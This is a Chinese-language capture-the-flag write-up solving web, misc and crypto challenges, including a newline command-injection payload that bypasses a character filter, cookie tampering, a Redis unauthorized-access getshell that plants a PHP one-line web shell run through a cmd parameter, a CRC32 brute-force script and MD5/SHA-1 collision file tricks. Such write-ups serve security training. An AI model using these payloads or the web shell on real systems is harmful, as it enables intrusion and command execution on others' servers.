WEB
Warm up
根据网页GIF提示,本题为js混淆+md5解密。
F12后发现有两个链接,我们这里进入scripts/login.js
然后JS混淆加密压缩后得密码的MD5值
最后MD5解码得到密码,然后登陆即可
BabyWeb
根据题目hit:user/user提示,这里我们先尝试用户和密码均为user
然后提示只有visitor身份才能得到flag,所以我们就抓包把cookie中的user改成visitor,得到flag
Exec
一开始一脸懵逼,然后看到题目网页标题为command execution后问了度娘,找到大佬博客,然后进去学习一波。
因为过滤了<– ‘&,;,|,-,$,(,),`,||’ => ”,–> 所以直接用%0a替代,前面的网址随便输,进行burp suite抓包,这里构造127.0.0.1%0als,看到了flag_sju.php,这就是下一步目标了
然后抓包构造payload:127.0.0.1%0acat flag_sju.php得到flag
Redis
这里考察的是redis的漏洞,redis getshell
参考文章:
redis渗透中的getshell问题总结
离别歌大佬的博客
redis未授权访问漏洞
题目进去给的是phpinfo的页面
首先找到web根目录
然后写shell,可以使用redis本身的工具 也可以使用nc,telnet等工具
redis的使用可看这篇文章
我们往其中写入一句话木马,然后进行调用
一句话木马脚本为:
<?php
system($_GET['cmd']);
?>
使用Hackbar,输入调用命令cmd=cat ../flag即可得到flag
Misc
CLANNAD
这里给出参考网站
其实这题是伪装的mp3文件
我们直接用音频解码软件Mp3stego跑一下就OK
打开生成的TXT文件,其中就是flag
隐写
盲水印攻击,工具BlindWaterMark
比赛tips写的是BWM,然后我谷歌了半天宝马2333
参考实例教程
首先解压图片,伪加密,用winrar或者修改下加密位,即可解开。
生成两张一样的图片,直接用盲水印攻击。
生成图片,仔细一看flag在图片中,放大一下即可看到。
ZipCRC32
本题是CRC32爆破
参考文章
压缩包里面53个压缩包,每个里面都有文件data.txt。注释if you want to find the flag, this hint may be useful: the text files within each zip consist of only “printable” ASCII characters
也就是说压缩包文件的txt内容都是ASCII字符,binwalk查看发现每个长度都是4.直接用脚本爆破CRC32就可以爆破出每一个TXT文件内容
这里给出爆破脚本:
#coding:utf-8
import zipfile
import string
import binascii
def CrackCrc(crc):
for i in dic:
for j in dic:
for p in dic:
for q in dic:
s = i + j + p + q
if crc == (binascii.crc32(s) & 0xffffffff):
print s
f.write(s)
return
def CrackZip():
for I in range(54):
file = 'chunk' + str(I) + '.zip'
f = zipfile.ZipFile(file, 'r')
GetCrc = f.getinfo('data.txt')
crc = GetCrc.CRC
#以上3行为获取压缩包CRC32值的步骤
print hex(crc)
CrackCrc(crc)
dic = string.ascii_letters + string.digits + '+/='
f = open('data.txt', 'w')
CrackZip()
f.close()
data.txt里面内容为
UEsDBBQDAQAAAJFy1kgWujyNLwAAACMAAAAIAAAAZmxhZy50eHT/xhoeSnjMRLuArw2FXUAIWn8UQblChs4AF1dAnT4nB5hs2SkR4fTfZZRB56Bp/FBLAQI/AxQDAQAAAJFy1kgWujyNLwAAACMAAAAIAAAAAAAAAAAAIIC0gQAAAABmbGFnLnR4dFBLBQYAAAAAAQABADYAAABVAAAAAAA=
base64解密发现是zip文件格式
转换成16进制
504b03041403010000009172d64816ba3c8d2f0000002300000008000000666c61672e747874ffc61a1e4a78cc44bb80af0d855d40085a
打开zip文件发现内容加密,直接爆破
Easy Forensics
这是流量分析题,过滤HTTP协议
发现post数据包,追踪发现zip文件
导出原始数据,导出http选中upload,点击save->upload.php
另存为zip文件,打开发现前一半Flag
右击属性或者winhex打开搜索另一半 拼接在一起 即可得到完整flag
Crypto
啥都可以加密
凭经验看是玛丽苏密码,然后使用玛丽苏密码在线解密,得到与佛论坛
然后把佛语在线解密,得到flag
简单加密
本题是base32->url->uuencode
题目给了一段字符串:
JU2FISJVEUZUKVZFGIYUYOJWEUZDKUZZGUSTKRCTEUZUINRFGI4U2JJTIE3TCJJTIYSTGRBFGI3ECSJFGNBVKJJVIRJSKM2BEUZDEJJSGVKDOVRFGI2U4OJFGI2SKNKEI44TOMJFGNDCKM2FGYSTKRCVEUZUGRJFGVCFGOCWEU2UIURFGBASKMRTHEZCKMRVEU2UI===
显然为base32,进行解密
url解密
uuencode解密
MD5 is dead
根据源码分析,两个文件MD5值相等,SHA1值不等,大小在2017k和2018k之间。
Google伪造MD5得到神器fastcoll使用教程
在fastcoll根目录下创建一个大小为2065409字节的空文件,名为test.txt,可以满足大小条件。
输入cmd代码为
fsutil file createnew test.txt 2065409
进入cmd界面,运行fastcoll,选择 -p ,然后将生成的文件拖进fastcoll,即可得到两个MD5值相等,SHA1值不等且大小满足的文件。
两个提交上去得到flag
SHA-1 is dead too
题目要求md5相同sha1不同的两个文件,同时要求大小在2017kib~2018kib范围
参考CTFwiki,下载两个sha1值相同的pdf
修改一下题目要求大小的脚本,在目录下创建upload1和upload2,运行后得到的两个upload文件上传得flag
from hashlib import sha1
from hashlib import sha256
pdf1 = open('./shattered-1.pdf').read(320)
pdf2 = open('./shattered-2.pdf').read(320)
pdf1 = pdf1.ljust(2018 * 1024 + 1 - 320, "\00") # padding pdf to 2018Kib + 1
pdf2 = pdf2.ljust(2018 * 1024 + 1 - 320, "\00")
open("upload1", "w").write(pdf1)
open("upload2", "w").write(pdf2)
print sha1(pdf1).hexdigest()
print sha1(pdf2).hexdigest()
print sha256(pdf1).hexdigest()
print sha256(pdf2).hexdigest()